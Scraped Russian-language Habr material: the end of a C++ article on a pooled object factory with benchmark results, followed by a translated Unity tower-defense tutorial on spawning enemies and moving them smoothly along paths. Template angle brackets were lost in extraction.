Итак — перепишем наш пул, с тем чтобы хранить объекты в такого рода буферах:
```
template
class Factory
{
public:
inline T\* get(){
if(free\_ptrs.empty()){
makeMore();
}
T\* obj = free\_ptrs.back();
free\_ptrs.pop\_back();
return obj;
}
inline void free(T\* obj){
free\_ptrs.push\_back(obj);
}
private:
/\*\*
\* @brief Use this against std::vector - because
\* vector have linear size complexity on reserve.
\* NOT grow size, but whole size!
\*/
struct Buffer{
T\* array;
int size;
Buffer(int num = chunk\_size){
array = new T[num];
size = num;
}
/\*\*
\* @brief IMPORTANT! Due to ussage with vector must have it.
\* @param other
\*/
Buffer(Buffer&& other) noexcept{
size = other.size;
array = other.array;
other.array = nullptr;
}
~Buffer(){
if (array != nullptr){
delete []array;
}
}
};
std::vector buffers;
std::vector free\_ptrs;
void makeMore(){
buffers.emplace\_back(chunk\_size);
Buffer &buf = buffers.back();
for (int i = 0; i < buf.size; ++i) {
free\_ptrs.emplace\_back(&buf.array[i]);
}
}
};
```
Как видите — у класса буфера есть конструктор копии. Он нам необходим для тех случаев, когда std::vector вздумается выполнить reallocate массива.
В результате — первоначальная инициализации пула ускорилась практически в разы.
Последний штрих — пользуясь многообразием команды [new](http://www.cplusplus.com/reference/new/operator%20new[]/) разделяем процесс выделение памяти под буфер, и собственно вызов конструктора. Что в результате позволяет нам, во первых — получить «не грязный» объект, а во вторых позволит использовать объекты без конструктора по умолчанию.
**Результат**
```
template
class PoolFactory
{
public:
template
inline T\* get(Args&&...args){
T\* obj = getRaw();
new (obj) T(args...);
return obj;
}
inline T\* getRaw(){
if(free\_ptrs.empty()){
makeMore();
}
T\* obj = free\_ptrs.back();
free\_ptrs.pop\_back();
return obj;
}
inline void free(T\* obj){
free\_ptrs.push\_back(obj);
}
inline void clearPool(){
buffers.clear();
free\_ptrs.clear();
}
void freeAll(){
free\_ptrs.clear();
int buf\_count = buffers.size();
for (int buf\_id = 0; buf\_id < buf\_count; ++buf\_id) {
Buffer &buf = buffers[buf\_id];
for (int i = 0; i < buf.size; ++i) {
free\_ptrs.emplace\_back(&buf.array[i]);
}
}
}
private:
/\*\*
\* @brief Use this against std::vector - because
\* vector have linear size complexity on reserve.
\* NOT grow size, but whole size!
\*/
struct Buffer{
T\* array;
int size;
Buffer(int num = chunk\_size){
// allocate, but not construct
array = static\_cast (::operator new (sizeof(T[num])));
size = num;
}
/\*\*
\* @brief IMPORTANT! Due to ussage with vector must have it.
\* @param other
\*/
Buffer(Buffer&& other) noexcept{
size = other.size;
array = other.array;
other.array = nullptr;
}
~Buffer(){
if (array != nullptr){
// destructors
for (int i = 0; i < size; ++i) {
array[i].~T();
}
// deallocate
::operator delete(array);
}
}
};
std::vector buffers;
std::vector free\_ptrs;
void makeMore(){
buffers.emplace\_back(chunk\_size);
Buffer &buf = buffers.back();
for (int i = 0; i < buf.size; ++i) {
free\_ptrs.emplace\_back(&buf.array[i]);
}
}
};
```
Основной задачей, для меня, было именно быстрое заполнение std::vector этими мелкими объектами. От того тесты несколько специфичны. В моем случае — время заполнения с пулом и с emplace\_back — одинаково. При повторном использовании пула — естественно пул выигрывает.
**Тесты**
```
class BaseClass {
public:
BaseClass(){}
BaseClass(int value){
s = value;
}
int getS(){
return s;
}
int s;
int m[16];
};
std::vector< BaseClass > ar;
std::vector< BaseClass* > ptr_ar;
const unsigned int total = 1000000;
int main(int argc, char *argv[])
{
PoolFactory bPool;
ar.reserve(total);
timer.start();
for (int var = 0; var < total; ++var) {
ar.emplace\_back(var);
}
qDebug()<<"1 : "<
```
Вывод:
1: 21
2: 22
3: 5
4: 37
Без reserve:
1: 135 *(сказывается отсутствие конструктора переноса у заполняемого класса BaseClass)*
2: 22
3: 4
4: 38 | https://habr.com/ru/post/205316/ | null | ru | null |
# Создание игры Tower Defense в Unity: враги
*[[Первая часть: тайлы и поиск пути](https://habr.com/ru/post/449798/)]*
* Размещение точек создания врагов.
* Появление врагов и их движение по полю.
* Создание плавного движения с постоянной скоростью.
* Изменение размера, скорости и размещения врагов.
Это вторая часть туториала, посвящённого простой игре в жанре [tower defense](https://catlikecoding.com/unity/tutorials/tower-defense/). В ней рассматривается процесс создания врагов и их движения к ближайшей конечной точке.
Данный туториал выполнен в Unity 2018.3.0f2.
*Враги на пути к конечной точке.*
Точки создания (спауна) врагов
------------------------------
Прежде чем начать создавать врагов, нам нужно решить, где разместить их на поле. Для этого мы создадим точки спауна.
### Содержимое тайлов
Точка спауна — это ещё один тип содержимого тайлов, поэтому добавим запись для него в `GameTileContentType`.
```
public enum GameTileContentType {
Empty, Destination, Wall, SpawnPoint
}
```
А затем создадим префаб, чтобы визуализировать его. Нам вполне подойдёт дубликат префаба начальной точки, просто изменим его тип содержимого и дадим ему другой материал. Я сделал его оранжевым.
*Конфигурация точек спауна.*
Добавим поддержку точек спауна в фабрику содержимого и дадим ему ссылку на префаб.
```
[SerializeField]
GameTileContent spawnPointPrefab = default;
…
public GameTileContent Get (GameTileContentType type) {
switch (type) {
case GameTileContentType.Destination: return Get(destinationPrefab);
case GameTileContentType.Empty: return Get(emptyPrefab);
case GameTileContentType.Wall: return Get(wallPrefab);
case GameTileContentType.SpawnPoint: return Get(spawnPointPrefab);
}
Debug.Assert(false, "Unsupported type: " + type);
return null;
}
```
*Фабрика с поддержкой точек спауна.*
### Включение и отключение точек спауна
Метод для переключения состояния точки спауна, как и другие методы переключения, мы добавим в `GameBoard`. Но точки спауна не влияют на поиск пути, поэтому после изменения нам не нужно искать новые пути.
```
public void ToggleSpawnPoint (GameTile tile) {
if (tile.Content.Type == GameTileContentType.SpawnPoint) {
tile.Content = contentFactory.Get(GameTileContentType.Empty);
}
else if (tile.Content.Type == GameTileContentType.Empty) {
tile.Content = contentFactory.Get(GameTileContentType.SpawnPoint);
}
}
```
Игра имеет смысл только если у нас есть враги, а для них необходимы точки спауна. Поэтому поле игры должно содержать хотя бы одну точку спауна. Также нам потребуется доступ к точкам спауна в дальнейшем, когда мы будем добавлять врагов, поэтому давайте воспользуемся списком, чтобы отслеживать все тайлы с этими точками. Будем обновлять список при переключении состояния точки спауна и предотвращать удаление последней точки спауна.
```
List spawnPoints = new List();
…
public void ToggleSpawnPoint (GameTile tile) {
if (tile.Content.Type == GameTileContentType.SpawnPoint) {
if (spawnPoints.Count > 1) {
spawnPoints.Remove(tile);
tile.Content = contentFactory.Get(GameTileContentType.Empty);
}
}
else if (tile.Content.Type == GameTileContentType.Empty) {
tile.Content = contentFactory.Get(GameTileContentType.SpawnPoint);
spawnPoints.Add(tile);
}
}
```
Метод `Initialize` теперь должен задать точку спауна, чтобы создать исходное правильное состояние поля. Давайте просто включим первый тайл, который находится в левом нижнем углу.
```
public void Initialize (
Vector2Int size, GameTileContentFactory contentFactory
) {
…
ToggleDestination(tiles[tiles.Length / 2]);
ToggleSpawnPoint(tiles[0]);
}
```
Мы сделаем так, чтобы теперь альтернативное касание переключало состояние точек спауна, но при зажатом левом Shift (нажатие клавиши проверяется методом `Input.GetKey`) будет переключаться состояние конечной точки
```
void HandleAlternativeTouch () {
GameTile tile = board.GetTile(TouchRay);
if (tile != null) {
if (Input.GetKey(KeyCode.LeftShift)) {
board.ToggleDestination(tile);
}
else {
board.ToggleSpawnPoint(tile);
}
}
}
```
*Поле с точками спауна.*
### Получение доступа к точкам спауна
Поле занимается всеми своими тайлами, но враги — это не его ответственность. Мы сделаем так, чтобы можно было получать доступ к его точкам спауна через общий метод `GetSpawnPoint` с параметром-индексом.
```
public GameTile GetSpawnPoint (int index) {
return spawnPoints[index];
}
```
Чтобы знать, какие индексы верны, необходима информация о количестве точек спауна, поэтому сделаем её общей с помощью общего свойства-геттера.
```
public int SpawnPointCount => spawnPoints.Count;
```
Спаунинг врагов
---------------
Спаунинг врага чем-то похож на создание содержимого тайла. Мы создаём через фабрику экземпляр префаба, который затем помещаем на поле.
### Фабрики
Мы создадим для врагов фабрику, которая будет помещать всё создаваемое ею на собственную сцену. Этот функционал является общим с той фабрикой, которая у нас уже есть, поэтому давайте поместим код для него в общий базовый класс `GameObjectFactory`. Нам будет достаточно одного метода `CreateGameObjectInstance` с общим параметром префаба, который создаёт и возвращает экземпляр, а также занимается управлением всей сценой. Сделаем метод `protected`, то есть он будет доступен только классу и всем типам, которые от него наследуют. Это всё, что делает класс, он не предназначен для использования в качестве полнофункциональной фабрики. Поэтому пометим его как `abstract`, что не позволит создавать экземпляры его объектов.
```
using UnityEngine;
using UnityEngine.SceneManagement;
public abstract class GameObjectFactory : ScriptableObject {
Scene scene;
protected T CreateGameObjectInstance (T prefab) where T : MonoBehaviour {
if (!scene.isLoaded) {
if (Application.isEditor) {
scene = SceneManager.GetSceneByName(name);
if (!scene.isLoaded) {
scene = SceneManager.CreateScene(name);
}
}
else {
scene = SceneManager.CreateScene(name);
}
}
T instance = Instantiate(prefab);
SceneManager.MoveGameObjectToScene(instance.gameObject, scene);
return instance;
}
}
```
Изменим `GameTileContentFactory` так, чтобы он наследовал этот тип фабрики и использовал `CreateGameObjectInstance` в своём методе `Get`, а затем уберём из него код управления сценой.
```
using UnityEngine;
[CreateAssetMenu]
public class GameTileContentFactory : GameObjectFactory {
…
//Scene contentScene;
…
GameTileContent Get (GameTileContent prefab) {
GameTileContent instance = CreateGameObjectInstance(prefab);
instance.OriginFactory = this;
//MoveToFactoryScene(instance.gameObject);
return instance;
}
//void MoveToFactoryScene (GameObject o) {
// …
//}
}
```
После этого создадим новый тип `EnemyFactory`, который создаёт экземпляр одного префаба `Enemy` с помощью метода `Get` вместе с сопровождающим методом `Reclaim`.
```
using UnityEngine;
[CreateAssetMenu]
public class EnemyFactory : GameObjectFactory {
[SerializeField]
Enemy prefab = default;
public Enemy Get () {
Enemy instance = CreateGameObjectInstance(prefab);
instance.OriginFactory = this;
return instance;
}
public void Reclaim (Enemy enemy) {
Debug.Assert(enemy.OriginFactory == this, "Wrong factory reclaimed!");
Destroy(enemy.gameObject);
}
}
```
Новый тип `Enemy` изначально должен только отслеживать свою исходную фабрику.
```
using UnityEngine;
public class Enemy : MonoBehaviour {
EnemyFactory originFactory;
public EnemyFactory OriginFactory {
get => originFactory;
set {
Debug.Assert(originFactory == null, "Redefined origin factory!");
originFactory = value;
}
}
}
```
### Префаб
Врагам нужна визуализация, которая может быть любой — робот, паук, призрак, что-то более простое, например, куб, который мы и используем. Но в общем случае враг имеет 3D-модель любой сложности. Чтобы обеспечить её удобную поддержку, мы воспользуемся для иерархии префаба врага корневым объектом, к которому прикреплён только компонент `Enemy`.
*Корень префаба.*
Создадим этому объекту единственный дочерний элемент, который будет корнем модели. Он должен иметь единичные значения Transform.
*Корень модели.*
Задача этого корня модели — расположить 3D-модель относительно локальной точки начала координат врага, чтобы он считал её опорной точкой, над которой враг стоит или висит. В нашем случае модель будет стандартным кубом половинного размера, которому я придам тёмно-синий цвет. Сделаем его дочерним элементом корня модели и присвоим позиции по Y значение 0.25, чтобы он стоял на земле.
*Модель куба.*
Таким образом, префаб врага состоит из трёх вложенных объектов: корня префаба, корня модели и куба. Может показаться, что для простого куба это перебор, но такая система позволяет перемещать и анимировать любого врага, не беспокоясь о его особенностях.
*Иерархия префаба врага.*
Создадим фабрику врагов и назначим ей префаб.
*Ассет фабрики.*
### Размещение врагов на поле
Чтобы поместить врагов на поле, `Game` должен получит ссылку на фабрику врагов. Так как нам нужно много врагов, добавим опцию конфигурации для настройки скорости спаунинга, выражаемую в количестве врагов за секунду. Приемлемым кажется интервал 0.1–10 со значением 1 по умолчанию.
```
[SerializeField]
EnemyFactory enemyFactory = default;
[SerializeField, Range(0.1f, 10f)]
float spawnSpeed = 1f;
```
*Game с фабрикой врагов и скоростью спаунинга 4.*
Progress спаунинга будем отслеживать в `Update`, увеличивая его на скорость, умноженную на дельту времени. Если величина prggress превышает 1, то выполняем его декремент и спауним врага с помощью нового метода `SpawnEnemy`. Продолжаем это делать, пока progress превышает 1 на случай, если скорость слишком высока и время кадра оказалось очень длинным, чтобы одновременно не создалось несколько врагов.
```
float spawnProgress;
…
void Update () {
…
spawnProgress += spawnSpeed * Time.deltaTime;
while (spawnProgress >= 1f) {
spawnProgress -= 1f;
SpawnEnemy();
}
}
```
**Разве не нужно обновлять progress в FixedUpdate?**
Да, это возможно, но для игры жанра tower defense такие точные тайминги не нужны. Мы просто будем обновлять состояние игры каждый кадр и сделаем так, чтобы она работала достаточно хорошо при любой дельте времени.
Пусть `SpawnEnemy` получит случайную точку спауна с поля и создаст в этом тайле врага. Мы дадим `Enemy` метод `SpawnOn`, чтобы он правильно себя спозицинировал.
```
void SpawnEnemy () {
GameTile spawnPoint =
board.GetSpawnPoint(Random.Range(0, board.SpawnPointCount));
Enemy enemy = enemyFactory.Get();
enemy.SpawnOn(spawnPoint);
}
```
Пока всё, что должен делать `SpawnOn` — это задавать собственную позицию равной центру тайла. Так как модель префаба расположена правильно, куб-враг окажется поверх этого тайла.
```
public void SpawnOn (GameTile tile) {
transform.localPosition = tile.transform.localPosition;
}
```
*Враги появляются в точках спауна.*
Перемещение врагов
------------------
После появления врага он должен начать двигаться по пути к ближайшей конечной точке. Чтобы добиться этого, нужно анимировать врагов. Мы начнём с простого плавного скольжения от тайла к тайлу, а затем сделаем их движение более сложным.
### Коллекция врагов
Для обновления состояния врагов мы воспользуемся тем же подходом, который исоплзовали в серии туториалов [Object Management](https://catlikecoding.com/unity/tutorials/object-management/). Добавим `Enemy` общий метод `GameUpdate`, возвращающий информацию о том, жив ли он, что на данном этапе всегда будет истиной. Пока просто заставим его двигаться вперёд согласно дельте времени.
```
public bool GameUpdate () {
transform.localPosition += Vector3.forward * Time.deltaTime;
return true;
}
```
Кроме того, нам нужно вести список живых врагов и всех их обновлять, удаляя из списка мёртвых врагов. Мы можем поместить весь этот код в `Game`, но давайте вместо этого изолируем его и создадим тип `EnemyCollection`. Это сериализуемый класс, который ни от чего не наследует. Дадим ему общий метод для добавления врага и ещё один метод для обновления всей коллекции.
```
using System.Collections.Generic;
[System.Serializable]
public class EnemyCollection {
List enemies = new List();
public void Add (Enemy enemy) {
enemies.Add(enemy);
}
public void GameUpdate () {
for (int i = 0; i < enemies.Count; i++) {
if (!enemies[i].GameUpdate()) {
int lastIndex = enemies.Count - 1;
enemies[i] = enemies[lastIndex];
enemies.RemoveAt(lastIndex);
i -= 1;
}
}
}
}
```
Теперь `Game` будет достаточно создать всего одну такую коллекцию, в каждом кадре обновлять её и добавлять в неё созданных врагов. Врагов будем обновлять сразу же после возможного спаунинга нового врага, чтобы обновление происходило мгновенно.
```
EnemyCollection enemies = new EnemyCollection();
…
void Update () {
…
enemies.GameUpdate();
}
…
void SpawnEnemy () {
…
enemies.Add(enemy);
}
```
*Враги движутся вперёд.*
### Движение по пути
Враги уже перемещаются, но пока не следуют по пути. Для этого им нужно знать, куда двигаться дальше. Поэтому дадим `GameTile` общее свойство-геттер для получения следующего тайла на пути.
```
public GameTile NextTileOnPath => nextOnPath;
```
Зная тайл, из которого нужно выйти, и тайл, в который нужно попасть, враги могут определить начальную и конечную точки для перемещения на один тайл. Враг может интерполировать положение между этими двумя точками, отслеживая своё перемещение. После завершения перемещения этот процесс повторяется для следующего тайла. Но пути могут в любой момент измениться. Вместо того, чтобы определять, куда двигаться дальше в процессе движения, мы просто продолжает двигаться вдоль запланированного маршрута и проверяем его, достигнув следующего тайла.
Пусть `Enemy` отслеживает оба тайла, чтобы на него не влияло изменение пути. Также он будет отслеживать позиции, чтобы нам не приходилось получать их в каждом кадре, и отслеживать процесс перемещения.
```
GameTile tileFrom, tileTo;
Vector3 positionFrom, positionTo;
float progress;
```
Инициализируем эти поля в `SpawnOn`. Первая точка — это тайл, из которого движется враг, а конечная точка — следующий тайл на пути. Это предполагает, что существует следующий тайл, если только враг не был создан в конечной точке, что должно быть невозможным. Тогда мы кэшируем позиции тайлов и обнулим progress. Позицию врага нам задавать здесь не нужно, потому что его метод `GameUpdate` вызывается в том же кадре.
```
public void SpawnOn (GameTile tile) {
//transform.localPosition = tile.transform.localPosition;
Debug.Assert(tile.NextTileOnPath != null, "Nowhere to go!", this);
tileFrom = tile;
tileTo = tile.NextTileOnPath;
positionFrom = tileFrom.transform.localPosition;
positionTo = tileTo.transform.localPosition;
progress = 0f;
}
```
Инкремент progress будем выполнять в `GameUpdate`. Прибавим неизменную дельту времени, чтобы враги двигались со скоростью один тайл в секунду. Когда движение (progress) завершено, смещаем данные так, чтобы `To` становилось значение `From`, а новым `To` — следующий тайл на пути. Затем выполняем декремент progress. Когда данные становятся актуальными, интерполируем позицию врага между `From` и `To`. Так как интерполятором является progress, его значение обязательно находится в интервале от 0 и 1, моэтому мы можем использовать s`Vector3.LerpUnclamped`.
```
public bool GameUpdate () {
progress += Time.deltaTime;
while (progress >= 1f) {
tileFrom = tileTo;
tileTo = tileTo.NextTileOnPath;
positionFrom = positionTo;
positionTo = tileTo.transform.localPosition;
progress -= 1f;
}
transform.localPosition =
Vector3.LerpUnclamped(positionFrom, positionTo, progress);
return true;
}
```
Это заставляет врагов следовать по пути, но не будет действовать при достижении конечной точки. Поэтому прежде чем изменять позиции `From` и `To`, нужно сравнивать следующий тайл на пути с `null`. Если это так, то мы достигли конечной точки и враг закончил движение. Выполняем для него Reclaim и возвращаем `false`.
```
while (progress >= 1f) {
tileFrom = tileTo;
tileTo = tileTo.NextTileOnPath;
if (tileTo == null) {
OriginFactory.Reclaim(this);
return false;
}
positionFrom = positionTo;
positionTo = tileTo.transform.localPosition;
progress -= 1f;
}
```
*Враги следуют по кратчайшему пути.*
Враги теперь движутся от центра одного тайла к другому. Стоит учесть, что они меняют своё состояние движения только в центрах тайлов, поэтому не могут мгновенно реагировать на изменения на поле. Это означает, что иногда враги будут двигаться сквозь только что поставленные стены. Как только они начали двигаться в сторону ячейки, их ничто не остановит. Именно поэтому стенам тоже нужны действительные пути.
*Враги реагируют на изменение пути.*
### Движение от края к краю
Движение между центрами тайлов и резкая смена направлений выглядит нормально для абстрактной игры, в которой врагами являются подвижные кубики, но обычно красивее выглядит плавное движение. Первый шаг к его реализации — движение не по центрам, а по краям тайлов.
Точку края между соседними тайлами можно найти усреднением их позиций. Вместо того, чтобы вычислять её на каждом шагу для каждого врага, мы будем вычислять её только при изменении пути в `GameTile.GrowPathTo`. Сделаем её доступной с помощью свойства `ExitPoint`.
```
public Vector3 ExitPoint { get; private set; }
…
GameTile GrowPathTo (GameTile neighbor) {
…
neighbor.ExitPoint =
(neighbor.transform.localPosition + transform.localPosition) * 0.5f;
return
neighbor.Content.Type != GameTileContentType.Wall ? neighbor : null;
}
```
Единственным особым случаем является конечная ячейка, точкой выхода которой будет её центр.
```
public void BecomeDestination () {
distance = 0;
nextOnPath = null;
ExitPoint = transform.localPosition;
}
```
Изменим `Enemy` таким образом, чтобы он использовал точки выхода, а не центры тайлов.
```
public bool GameUpdate () {
progress += Time.deltaTime;
while (progress >= 1f) {
…
positionTo = tileFrom.ExitPoint;
progress -= 1f;
}
transform.localPosition = Vector3.Lerp(positionFrom, positionTo, progress);
return true;
}
public void SpawnOn (GameTile tile) {
…
positionTo = tileFrom.ExitPoint;
progress = 0f;
}
```
*Враги движутся между краями.*
Побочный эффект этого изменения заключается в том, что когда враги поворачивают вследствие изменения пути, то они на секунду остаются неподвижными.
*При повороте враги останавливаются.*
### Ориентация
Хотя враги движутся по путям, пока они не меняют своей ориентации. Чтобы они могли смотреть в сторону движения, им необходимо знать направление пути, по которому они следуют. Это мы тоже будем определять во время поиска путей, чтобы этого не приходилось делать врагам.
У нас есть четыре направления: север, восток, юг и запад. Зададим для них перечисление.
```
public enum Direction {
North, East, South, West
}
```
Затем дадим `GameTile` свойство, чтобы хранить направление его пути.
```
public Direction PathDirection { get; private set; }
```
Добавим параметр направления к `GrowTo`, который задаёт свойство. Так как мы выращиваем путь с конца в начало, направление будет противоположным к тому, откуда мы выращиваем путь.
```
public GameTile GrowPathNorth () => GrowPathTo(north, Direction.South);
public GameTile GrowPathEast () => GrowPathTo(east, Direction.West);
public GameTile GrowPathSouth () => GrowPathTo(south, Direction.North);
public GameTile GrowPathWest () => GrowPathTo(west, Direction.East);
GameTile GrowPathTo (GameTile neighbor, Direction direction) {
…
neighbor.PathDirection = direction;
return
neighbor.Content.Type != GameTileContentType.Wall ? neighbor : null;
}
```
Нам нужно преобразовать направления в повороты, выраженные в виде кватернионов. Было бы удобно, если бы мы просто могли вызывать `GetRotation` для направления, поэтому давайте сделаем это, создав расширяющий метод. Добавим общий статический метод `DirectionExtensions`, дадим ему массив для кэширования необходимых кватернионов, а также метод `GetRotation` для возврата соответствующего значения направления. В данном случае имеет смысл поместить расширяющий класс в тот же файл, что и тип перечисления.
```
using UnityEngine;
public enum Direction {
North, East, South, West
}
public static class DirectionExtensions {
static Quaternion[] rotations = {
Quaternion.identity,
Quaternion.Euler(0f, 90f, 0f),
Quaternion.Euler(0f, 180f, 0f),
Quaternion.Euler(0f, 270f, 0f)
};
public static Quaternion GetRotation (this Direction direction) {
return rotations[(int)direction];
}
}
```
**Что такое расширяющий метод (extension method)?**
Расширяющий метод — это статический метод внутри статического класса, ведущий себя как метод экземпляра какого-то типа. Этот тип может быть классом, интерфейсом, структурой, примитивным значением или перечислением. Первый аргумент расширяющего метода должен иметь ключевое слово `this`. Он определяет значение типа и экземпляра, с которым будет работать метод. Такой подход обозначает, что расширяющие свойства невозможны.
Позволяет ли это добавлять методы к чему угодно? Да, так же, как вы можете написать любой статический метод, параметром которого является любой тип.
Теперь мы можем поворачивать `Enemy` при спаунинге и каждый раз, когда мы входим в новый тайл. После обновления данных тайл `From` даёт нам направление.
```
public bool GameUpdate () {
progress += Time.deltaTime;
while (progress >= 1f) {
…
transform.localRotation = tileFrom.PathDirection.GetRotation();
progress -= 1f;
}
transform.localPosition =
Vector3.LerpUnclamped(positionFrom, positionTo, progress);
return true;
}
public void SpawnOn (GameTile tile) {
…
transform.localRotation = tileFrom.PathDirection.GetRotation();
progress = 0f;
}
```
### Смена направления
Вместо того, чтобы мгновенно менять направление, лучше интерполировать значения между поворотами, аналогично тому, как мы интерполировали между позициями. Чтобы перейти от одной ориентации к другой, нам нужно знать смену направления, которую необходимо выполнить: без поворота, поворот вправо, поворот влево или поворот назад. Добавим для этого перечисление, которое опять же можно разместить в том же файле, что и `Direction`, потому что они малы и тесно связаны.
```
public enum Direction {
North, East, South, West
}
public enum DirectionChange {
None, TurnRight, TurnLeft, TurnAround
}
```
Добавим ещё один расширяющий метод, на этот раз `GetDirectionChangeTo`, который возвращает смену направления от текущего направления к следующему. Если направления совпадают, то смены нет. Если следующее на один больше текущего, то это поворот направо. Но так как направления повторяются такая же ситуация будет, когда следующее на три меньше текущего. С поворотом налево будет то же самое, только сложение и вычитание поменяются местами. Единственный оставшийся случай — это поворот назад.
```
public static DirectionChange GetDirectionChangeTo (
this Direction current, Direction next
) {
if (current == next) {
return DirectionChange.None;
}
else if (current + 1 == next || current - 3 == next) {
return DirectionChange.TurnRight;
}
else if (current - 1 == next || current + 3 == next) {
return DirectionChange.TurnLeft;
}
return DirectionChange.TurnAround;
}
```
Мы совершаем поворот только в одном измерении, поэтому нам достаточно будет линейной интерполяции углов. Добавим ещё один расширяющий метод, который получает угол направления в градусах.
```
public static float GetAngle (this Direction direction) {
return (float)direction * 90f;
}
```
Теперь `Enemy` придётся отслеживать направление, смену направления и углы, между которыми нужно выполнять интерполяцию.
```
Direction direction;
DirectionChange directionChange;
float directionAngleFrom, directionAngleTo;
```
`SpawnOn` становится сложнее, поэтому давайте переместим код подготовки состояния в другой метод. Мы назначим исходное состояние врага как вводное состояние, поэтому назовём его `PrepareIntro`. В этом состоянии враг перемещается от центра к краю своего начального тайла, поэтому смена направления не происходит. Углы `From` и `To` одинаковы.
```
public void SpawnOn (GameTile tile) {
Debug.Assert(tile.NextTileOnPath != null, "Nowhere to go!", this);
tileFrom = tile;
tileTo = tile.NextTileOnPath;
//positionFrom = tileFrom.transform.localPosition;
//positionTo = tileFrom.ExitPoint;
//transform.localRotation = tileFrom.PathDirection.GetRotation();
progress = 0f;
PrepareIntro();
}
void PrepareIntro () {
positionFrom = tileFrom.transform.localPosition;
positionTo = tileFrom.ExitPoint;
direction = tileFrom.PathDirection;
directionChange = DirectionChange.None;
directionAngleFrom = directionAngleTo = direction.GetAngle();
transform.localRotation = direction.GetRotation();
}
```
На этом этапе мы создаём нечто наподобие небольшого конечного автомата. Чтобы не усложнять `GameUpdate`, переместим код изменения состояния в новый метод `PrepareNextState`. Оставим только изменения тайлов `From` и `To`, потому что мы используем их здесь для проверки того, закончил ли враг путь.
```
public bool GameUpdate () {
progress += Time.deltaTime;
while (progress >= 1f) {
…
//positionFrom = positionTo;
//positionTo = tileFrom.ExitPoint;
//transform.localRotation = tileFrom.PathDirection.GetRotation();
progress -= 1f;
PrepareNextState();
}
…
}
```
При переходе в новое состояние всегда нужно изменять позиции, находить смену направления, обновлять текущее направление и смещать угол `To` к `From`. Поворот мы больше не задаём.
```
void PrepareNextState () {
positionFrom = positionTo;
positionTo = tileFrom.ExitPoint;
directionChange = direction.GetDirectionChangeTo(tileFrom.PathDirection);
direction = tileFrom.PathDirection;
directionAngleFrom = directionAngleTo;
}
```
Другие действия зависят от смены направления. Давайте добавим метод для каждого варианта. В случае, если мы движемся вперёд, то угол `To` совпадает с направлением пути текущей ячейки. Кроме того, нам нужно задать поворот, чтобы враг смотрел прямо вперёд.
```
void PrepareForward () {
transform.localRotation = direction.GetRotation();
directionAngleTo = direction.GetAngle();
}
```
В случае поворота мы не поворачиваемся мгновенно. Нам нужно интерполировать к другому углу: на 90° больше для поворота вправо, на 90° меньше для поворота влево, и на 180° больше для поворота назад. Чтобы избежать поворота не в том направлении из-за смены значений углов от 359° к 0°, угол `To` должен указываться относительно текущего направления. Нам не нужно волноваться, что угол станет меньше 0° или больше 360°, потому что `Quaternion.Euler` может справиться с этим.
```
void PrepareTurnRight () {
directionAngleTo = directionAngleFrom + 90f;
}
void PrepareTurnLeft () {
directionAngleTo = directionAngleFrom - 90f;
}
void PrepareTurnAround () {
directionAngleTo = directionAngleFrom + 180f;
}
```
В конце `PrepareNextState` мы можем использовать `switch` для смены направления, чтобы решить, какой из четырёх методов вызывать.
```
void PrepareNextState () {
…
switch (directionChange) {
case DirectionChange.None: PrepareForward(); break;
case DirectionChange.TurnRight: PrepareTurnRight(); break;
case DirectionChange.TurnLeft: PrepareTurnLeft(); break;
default: PrepareTurnAround(); break;
}
}
```
Теперь в конце `GameUpdate` нам нужно проверять, произошла ли смена направления. Если да, то выполнить интерполяцию между двумя углами и задать поворот.
```
public bool GameUpdate () {
…
transform.localPosition =
Vector3.LerpUnclamped(positionFrom, positionTo, progress);
if (directionChange != DirectionChange.None) {
float angle = Mathf.LerpUnclamped(
directionAngleFrom, directionAngleTo, progress
);
transform.localRotation = Quaternion.Euler(0f, angle, 0f);
}
return true;
}
```
*Враги поворачиваются.*
### Движение по кривой
Мы можем улучшить движение, заставив врагов при повороте двигаться по кривой. Вместо того, чтобы ходить от края к краю тайлов, пусть ходят по четверти окружности. Центр этой окружности лежит в углу, общем для тайлов `From` и `To`, на том же самом краю, по которому враг вошёл на тайл `From`.
*Вращение на четверть круга для поворота вправо.*
Мы можем реализовать это, двигая врага по дуге с помощью тригонометрии, в то же время поворачивая его. Но это можно и упростить, использовав только поворот, временно переместив локальное начало координат врага в центр круга. Чтобы сделать это, нам нужно изменить позицию модели врага, поэтому дадим `Enemy` ссылку на эту модель, доступную через поле конфигурации.
```
[SerializeField]
Transform model = default;
```
*Enemy со ссылкой на модель.*
При подготовке к движению вперёд или повороту назад модель должна перемещаться в стандартное положение, в локальное начало координат врага. В противном случае модель нужно смещать на половину единицы измерения — радиус окружности поворота, вдаль от точки поворота.
```
void PrepareForward () {
transform.localRotation = direction.GetRotation();
directionAngleTo = direction.GetAngle();
model.localPosition = Vector3.zero;
}
void PrepareTurnRight () {
directionAngleTo = directionAngleFrom + 90f;
model.localPosition = new Vector3(-0.5f, 0f);
}
void PrepareTurnLeft () {
directionAngleTo = directionAngleFrom - 90f;
model.localPosition = new Vector3(0.5f, 0f);
}
void PrepareTurnAround () {
directionAngleTo = directionAngleFrom + 180f;
model.localPosition = Vector3.zero;
}
```
Теперь самого врага нужно переместить в точку поворота. Для этого его нужно тоже переместить на половину единицы измерения, но точное смещение зависит от направления. Давайте добавим в `Direction` для этого вспомогательный расширяющий метод `GetHalfVector`.
```
static Vector3[] halfVectors = {
Vector3.forward * 0.5f,
Vector3.right * 0.5f,
Vector3.back * 0.5f,
Vector3.left * 0.5f
};
…
public static Vector3 GetHalfVector (this Direction direction) {
return halfVectors[(int)direction];
}
```
Прибавляем соответствующий вектор при повороте вправо или влево.
```
void PrepareTurnRight () {
directionAngleTo = directionAngleFrom + 90f;
model.localPosition = new Vector3(-0.5f, 0f);
transform.localPosition = positionFrom + direction.GetHalfVector();
}
void PrepareTurnLeft () {
directionAngleTo = directionAngleFrom - 90f;
model.localPosition = new Vector3(0.5f, 0f);
transform.localPosition = positionFrom + direction.GetHalfVector();
}
```
А при повороте назад позиция должна быть обычной начальной точкой.
```
void PrepareTurnAround () {
directionAngleTo = directionAngleFrom + 180f;
model.localPosition = Vector3.zero;
transform.localPosition = positionFrom;
}
```
Кроме того, мы можем при вычислении точки выхода использовать в `GameTile.GrowPathTo` половину вектора, чтобы нам не нужен был доступ к двум позициям тайлов.
```
neighbor.ExitPoint =
neighbor.transform.localPosition + direction.GetHalfVector();
```
Теперь при смене направления мы не должны интерполировать позицию в `Enemy.GameUpdate`, потому что движением занимается поворот.
```
public bool GameUpdate () {
…
if (directionChange == DirectionChange.None) {
transform.localPosition =
Vector3.LerpUnclamped(positionFrom, positionTo, progress);
}
